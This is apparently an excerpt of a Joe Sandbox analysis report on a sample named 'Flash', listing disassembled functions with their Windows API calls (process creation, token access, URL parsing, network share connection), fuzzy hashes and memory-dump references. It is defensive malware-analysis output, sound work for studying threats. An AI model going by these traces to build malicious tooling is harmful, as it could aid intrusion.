Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 52fc540e0ae32a8be075b5c64c41f30033fe6227fd4c1d3038228d3cde27b846
Instruction ID: 5e5cc9ce3ad3a99a821f62a2972bf050c36e60639c2182aadfda696f73a5b457
Opcode Fuzzy Hash: 52fc540e0ae32a8be075b5c64c41f30033fe6227fd4c1d3038228d3cde27b846
Instruction Fuzzy Hash: E6113CB52053049BEB34CF91DD0CF97BBBCFB00B05F108959EA16D6054DBB0E6489BA2

Function 00A071E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00A0720B

Part of subcall function 00A078F2: __fltout2.LIBCMT ref: 00A0791B

__cftog_l.LIBCMT ref: 00A07231
__cftoe_l.LIBCMT ref: 00A07263

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 683b82feabf3c75ee66e827c5020d1196f0e6625c6d4acfcb74be329915330d2
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: E1019A3284814EBBCF126F84ED01CEE3F22BB2D340B088515FA1858171C736E9B1AB81

Function 00A5B937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00A5B956
ScreenToClient.USER32(?,?), ref: 00A5B96E
ScreenToClient.USER32(?,?), ref: 00A5B992
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00A5B9AD

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 1cb8215e9a0acc9dc3134c8ed5e527de29675f2f21138892b9126d1f1e62e157
Instruction ID: f05b06eaafb71056a2550617b6ea1b095bbd9624589e688731cd2f9f1791aa50
Opcode Fuzzy Hash: 1cb8215e9a0acc9dc3134c8ed5e527de29675f2f21138892b9126d1f1e62e157
Instruction Fuzzy Hash: 411143B9D04209EFDB41CF98C984AEEBBF9FB48311F104156E914E3610D775AA658F50

Function 00A5BCA7 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A5BCB6
_memset.LIBCMT ref: 00A5BCC5
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00A98F20,00A98F64), ref: 00A5BCF4
CloseHandle.KERNEL32 ref: 00A5BD06

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 11d8ce751a2331add05665316d5f094068e600154936afaca6a91236b2ff46ef
Instruction ID: 0327234173914a1e26973a73732d7fe08c07668116e1262f1193ebbf0eb992ff
Opcode Fuzzy Hash: 11d8ce751a2331add05665316d5f094068e600154936afaca6a91236b2ff46ef
Instruction Fuzzy Hash: 57F054B26403087FE65067A55C05FB73A5DEB0A751F045422FB08D5191DFB9481187A8

Function 00A37195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00A371A1

Part of subcall function 00A37C7F: _memset.LIBCMT ref: 00A37CB4

_memmove.LIBCMT ref: 00A371C4
_memset.LIBCMT ref: 00A371D1
LeaveCriticalSection.KERNEL32(?), ref: 00A371E1

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 38a0192e03aae17d7acd628232053830bdbe82aae7d1be8027a07a1c7a93af18
Instruction ID: d7aaa3062cf35764fa34d3860748ebb6ba6125f8db082ce3862551315e61dc17
Opcode Fuzzy Hash: 38a0192e03aae17d7acd628232053830bdbe82aae7d1be8027a07a1c7a93af18
Instruction Fuzzy Hash: 00F05476100104ABCF016F55DC85F5ABB29EF45320F08C051FE089E21ACB75A951DBB4

Function 00A5C3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 009D16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 009D1729
Part of subcall function 009D16CF: SelectObject.GDI32(?,00000000), ref: 009D1738
Part of subcall function 009D16CF: BeginPath.GDI32(?), ref: 009D174F
Part of subcall function 009D16CF: SelectObject.GDI32(?,00000000), ref: 009D1778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00A5C3E8
LineTo.GDI32(00000000,?,?), ref: 00A5C3F5
EndPath.GDI32(00000000), ref: 00A5C405
StrokePath.GDI32(00000000), ref: 00A5C413

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 6be8f8c081b73c8390797716999347516698d5a39c88eeb44d336e89ff4ebd8e
Instruction ID: 443da3fcf695540b67b334b7651d6a6043cc565915f8183b61180220c3663f9d
Opcode Fuzzy Hash: 6be8f8c081b73c8390797716999347516698d5a39c88eeb44d336e89ff4ebd8e
Instruction Fuzzy Hash: 72F0E232045218BBDB13AF90AC0DFCF3F69AF06321F048000FA11211E187F55596DFA9

Function 00A2AA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00A2AA6F
GetWindowThreadProcessId.USER32(?,00000000), ref: 00A2AA82
GetCurrentThreadId.KERNEL32 ref: 00A2AA89
AttachThreadInput.USER32(00000000), ref: 00A2AA90

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: c385c099bddbbd9980aef5f31826117f79a70dea2b9cde68802dc36e806656a6
Instruction ID: 0e62ba0a7d03dd82aea862f694aff3596811628427caa44b4c8e7ef55410aac4
Opcode Fuzzy Hash: c385c099bddbbd9980aef5f31826117f79a70dea2b9cde68802dc36e806656a6
Instruction Fuzzy Hash: 39E0C931545228BBDB219FA6ED0DEEB7F6CEF267A1F008025F50995090C6F18591CBA1

Function 009D25F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 009D260D
SetTextColor.GDI32(?,000000FF), ref: 009D2617
SetBkMode.GDI32(?,00000001), ref: 009D262C
GetStockObject.GDI32(00000005), ref: 009D2634
GetWindowDC.USER32(?,00000000), ref: 00A0C1C4
GetPixel.GDI32(00000000,00000000,00000000), ref: 00A0C1D1
GetPixel.GDI32(00000000,?,00000000), ref: 00A0C1EA
GetPixel.GDI32(00000000,00000000,?), ref: 00A0C203
GetPixel.GDI32(00000000,?,?), ref: 00A0C223
ReleaseDC.USER32(?,00000000), ref: 00A0C22E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 77310133fd8d29e6cab196167cf8299a9b59e88682aef481a85e5bcc35556028
Instruction ID: b1a8982e61fc30b530051135d207c80f20a5f1e3d7eb0c4033455a4ec8791772
Opcode Fuzzy Hash: 77310133fd8d29e6cab196167cf8299a9b59e88682aef481a85e5bcc35556028
Instruction Fuzzy Hash: 15E06531504248BFDB219FA4BC09BD93B21EB16332F048366FA69480E187B145C1DB11

Function 00A29330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00A29339
OpenThreadToken.ADVAPI32(00000000,?,?,?,00A28F04), ref: 00A29340
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00A28F04), ref: 00A2934D
OpenProcessToken.ADVAPI32(00000000,?,?,?,00A28F04), ref: 00A29354

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: cb8a97ad26a44f545f20d61736ca567fc7152c46186bd4b8525243ed13e02685
Instruction ID: 8d6c9b3c5e4c519274018b1aa6f8629ee717db57b45a7744c36ffde3059fc2a2
Opcode Fuzzy Hash: cb8a97ad26a44f545f20d61736ca567fc7152c46186bd4b8525243ed13e02685
Instruction Fuzzy Hash: BCE04F32601221ABD7209FF56D0DF573B7CAF50B92F114828E345C9090E6B49486C754

Function 00A10679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00A10679
GetDC.USER32(00000000), ref: 00A10683
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00A106A3
ReleaseDC.USER32(?), ref: 00A106C4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 95efdcd002d19aca2f3fa07b753fb3ecb53e6610fc04047d32b75571f95199a4
Instruction ID: 51b33eb656f7abfb21cbd9c94d330e3dcb0c18efacbfd732fa1d5355bf3c0520
Opcode Fuzzy Hash: 95efdcd002d19aca2f3fa07b753fb3ecb53e6610fc04047d32b75571f95199a4
Instruction Fuzzy Hash: 12E0E575840204EFCB019FA0D808A9EBBB2AB8C310F11C416F85AA7250DBF895929F50

Function 00A1068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00A1068D
GetDC.USER32(00000000), ref: 00A10697
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00A106A3
ReleaseDC.USER32(?), ref: 00A106C4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 54d1d10cdeb3ff22572c705c208560872627ab2fb179e562b1095bf4c737cb2a
Instruction ID: 93e89242b3980fe052e1b69eaac7ff938ba9c3420f96b35400786a8a4e8efb1a
Opcode Fuzzy Hash: 54d1d10cdeb3ff22572c705c208560872627ab2fb179e562b1095bf4c737cb2a
Instruction Fuzzy Hash: E2E01A75840204AFCB019FA0D808A5EBBF1AB8C310F11C415F959A7350DBF895928F50

Function 00A3B5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 009E436A: _wcscpy.LIBCMT ref: 009E438D

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

__wcsnicmp.LIBCMT ref: 00A3B670
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00A3B739

Strings

LPT, xrefs: 00A3B66A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: d87ae7dfe673937e7c89f34c5544b231912af7271d0609f7b1160690d5115313
Instruction ID: 7b2123c78fcd7f54fbd79b0d97fefc5cd390a61759576b2f03c544e7b738ca51
Opcode Fuzzy Hash: d87ae7dfe673937e7c89f34c5544b231912af7271d0609f7b1160690d5115313
Instruction Fuzzy Hash: 6D61A875A10219EFCB14DF94C895FAEB7B5EF88710F14805AF646AB391D770AE40CBA0

Function 009DE00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 009DE01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 009DE037

Strings

@, xrefs: 009DE02B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 88d5b4dc20d2bf66884b5a99667ea5f9f90a54d18ac73a0f96435a8dbb24996b
Instruction ID: 8f64b092219720e5e89589bee6bc3f46b0a4f2e4aa23c54f05c7d64d6ef6940a
Opcode Fuzzy Hash: 88d5b4dc20d2bf66884b5a99667ea5f9f90a54d18ac73a0f96435a8dbb24996b
Instruction Fuzzy Hash: EF5139714487449BE320AF54EC85BABBBF8FBC4714F41894DF1D841191EB709569CB16

Function 00A58096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00A58186
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00A5819B

Strings

', xrefs: 00A580EF

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 03c2b43ca67075b6f911e365104482067834cb67b48f7e68f34d9341578e5c6a
Instruction ID: 3200478119b1393eeec784a46e4d1aa78e5b4b1bbd892d3ccae38db65d800856
Opcode Fuzzy Hash: 03c2b43ca67075b6f911e365104482067834cb67b48f7e68f34d9341578e5c6a
Instruction Fuzzy Hash: 0D410874A016099FDB14CF68C981BDA7BB5FF08301F10416AED05EB391DB75A956CFA0

Function 00A42C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A42C6A
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00A42CA0

Strings

|, xrefs: 00A42C71

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: ee2184e63631ad165ea34582fd93e901aa14bee52177160136b3cbca47eaeecf
Instruction ID: 650844cf20f61c61c7ed5b5bf66e34111d9e0a322c0d8c5efaea8400638ce3b3
Opcode Fuzzy Hash: ee2184e63631ad165ea34582fd93e901aa14bee52177160136b3cbca47eaeecf
Instruction Fuzzy Hash: 3C313A71C00219ABCF06EFA1CC85EEEBFB9FF48300F100019F915A6262EB315956DBA0

Function 00A57088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00A5713C
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00A57178

Strings

static, xrefs: 00A570D8

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 24bd6f250cf2a6e3468b9a46bbfde3e85800e63a27a773632dcbcd28016cca56
Instruction ID: cb7a71e64f620d0f4036a40a465d896287e6a1e9cd527e7406db26270a0f824f
Opcode Fuzzy Hash: 24bd6f250cf2a6e3468b9a46bbfde3e85800e63a27a773632dcbcd28016cca56
Instruction Fuzzy Hash: 69318B71100604AAEB11DF68DC80EFF77BAFF88721F109619FDA5971A0DA31AC85CB60

Function 00A33049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A330B8
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00A330F3

Strings

0, xrefs: 00A330B1

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 165032c525904b8fa89586b29ca4b5487aa0893cc00b78dd8d27d352fe579f25
Instruction ID: b2076b05386a15db5199ca64586163de9a287a116e2c139aa5a42f759673f752
Opcode Fuzzy Hash: 165032c525904b8fa89586b29ca4b5487aa0893cc00b78dd8d27d352fe579f25
Instruction Fuzzy Hash: AE31E633A08209EBEF24CF58D886BAEBBB8EF05350F148119F985A61A1D7709B44CB50

Function 00A440B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00A44132

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Strings

AUTOITCALLVARIABLE%d, xrefs: 00A44124
, $, xrefs: 00A44172

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 7a42c434b4aedb9ec1c09ed1997f21303e4cd39b59789dad3f99b6127d82a905
Instruction ID: 44e5ee536d9be3657e59b4fbaff49b941c56a3f51c9cabf2a04d7f9c2efa1690
Opcode Fuzzy Hash: 7a42c434b4aedb9ec1c09ed1997f21303e4cd39b59789dad3f99b6127d82a905
Instruction Fuzzy Hash: 57219134A0021DABCF11EF69D891FAE77B5BF98340F404455F905A7242DB70AD85CBA1

Function 00A56CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00A56D86
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A56D91

Strings

Combobox, xrefs: 00A56D53

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
